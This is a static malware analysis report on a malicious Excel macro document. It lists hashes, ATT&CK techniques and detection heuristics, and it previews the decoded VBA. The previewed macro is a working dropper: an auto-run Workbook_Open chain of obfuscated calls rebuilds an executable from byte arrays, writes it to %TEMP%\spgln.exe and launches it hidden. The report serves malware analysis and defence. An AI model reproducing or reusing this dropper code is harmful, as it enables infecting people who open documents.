Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3612813abf81d09…

MALICIOUS

Office (OLE)

73.0 KB Created: 2018-06-14 15:47:33 Authoring application: Microsoft Excel First seen: 2018-09-04
MD5: b4f6ed46f24abfb508a63369afd6c38e SHA-1: 83da169b104f9ad1b3c0ff99d5b1a65aa42178e4 SHA-256: d3612813abf81d0911d0d9147a5fe09629af515bdb361bd42bc5a79d845f928f
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is an Excel document containing VBA macros. The Workbook_Open macro is triggered upon opening, which in turn calls a series of obfuscated functions. Ultimately, it attempts to execute a file named 'spgln.exe' from the user's public directory using the Shell() function. The document body displays a fake error message in Turkish, prompting the user to enable macros.

Heuristics 6

  • ClamAV: Xls.Malware.Valyria-10036514-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10036514-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13163 bytes
SHA-256: 579d601171081e4f0b39a2c357f267e1a263cb9e204d8234d73823825ec6d102
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CC"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "DD"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Static Sub woRKboOK_opEN(): Call wduwm: End Sub
Private Sub wduwm()
Call kftal
End Sub
Private Function kftal() As Object
Call zhsel
End Function
Private Function zhsel() As Integer
Call oirik
End Function
Private Function oirik() As String
Call dkqlj
End Function
Private Function dkqlj() As Currency
Call smppi
End Function
Private Function smppi() As Boolean
Call adkls
End Function
Private Function adkls() As Single
Call pejor
End Function
Private Sub pejor()
Call egisq
End Sub
Private Sub egisq()
Call tihwp
End Sub
Private Sub tihwp()
Call ijgzo
End Sub
Private Sub ijgzo()
Call wlfdn
End Sub
Private Sub wlfdn()
Call lnfhm
End Sub
Private Sub lnfhm()
Call tezcx
End Sub
Private Function tezcx() As String
Call ifygw
End Function
Static Function ifygw() As Double
Call xhxkv
End Function
Static Function xhxkv() As Byte
Call mjwou
End Function
Static Function mjwou() As Date
Call bkvrt
End Function
Static Function bkvrt()
Call qmvvs
End Function
Static Function qmvvs() As Variant
Call xrwhp(VBA.Environ("teMP") & "\spgln.exe", voxzf):      Call Shell(VBA.Environ("teMP") & "\spgln.exe", 0)
End Function
Function voxzf()
voxzf = frkvw
Call jdlgj(voxzf, thuez)
Call jdlgj(voxzf, aycig)
Call jdlgj(voxzf, znnok)
Call jdlgj(voxzf, idqmh)
Call jdlgj(voxzf, rzsax)
Call jdlgj(voxzf, nbxpr)
Call jdlgj(voxzf, yacqp)
Call jdlgj(voxzf, nifqg)
Call jdlgj(voxzf, rizkk)
Call jdlgj(voxzf, qslzu)
Call jdlgj(voxzf, fqgpy)
Call jdlgj(voxzf, hamyy)
Call jdlgj(voxzf, zuupa)
Call jdlgj(voxzf, blmfb)
Call jdlgj(voxzf, hnpth)
Call jdlgj(voxzf, vzzmq)
Call jdlgj(voxzf, iyzif)
Call jdlgj(voxzf, gltqi)
Call jdlgj(voxzf, eiuix)
Call jdlgj(voxzf, ylfdb)
Call jdlgj(voxzf, gpxed)
Call jdlgj(voxzf, bztfh)
Call jdlgj(voxzf, dwklc)
Call jdlgj(voxzf, kbypp)
Call jdlgj(voxzf, znafa)
Call jdlgj(voxzf, qvyzh)
Call jdlgj(voxzf, xqfuh)
Call jdlgj(voxzf, xicpt)
End Function
Sub jdlgj(ByRef cakcj As Variant, ByRef audbf As Variant): Dim simbn As Long: Dim uxrbh As Long: uxrbh = UBound(cakcj) + 1: ReDim Preserve cakcj(uxrbh + UBound(audbf)): For simbn = LBound(audbf) To UBound(audbf): cakcj(uxrbh + simbn) = audbf(simbn): Next: End Sub
Function xrwhp(tlcxs, jxikr):       Dim zrvhd, rcvos:           zrvhd = FreeFile:           Open tlcxs For Binary Access Read Write As #zrvhd:              For rcvos = LBound(jxikr) To UBound(jxikr):             Put #zrvhd, , CByte(jxikr(rcvos)):      Next:       Close #zrvhd:       End Function
Function frkvw()
frkvw = Array(77, 90, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 64, 0, 0, 0, 80, 69, 0, 0, 76, 1 _
, 1, 0)
End Function
Function thuez()
thuez = Array(84, 106, 34, 91, 0, 0, 0, 0, 0, 0 _
, 0, 0, 224, 0, 14, 3, 11, 1, 0, 0 _
, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0 _
, 0, 0, 0, 0, 0, 0, 64, 0, 0, 16 _
, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0 _
, 0, 0)
End Function
Function aycig()
aycig = Array(0, 32, 0, 0, 0, 2, 0, 0, 0, 0 _
, 0, 0, 2, 0, 0, 0, 0, 0, 16, 0 _
, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16 _
, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0)
End Function
Function znnok()
znnok = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.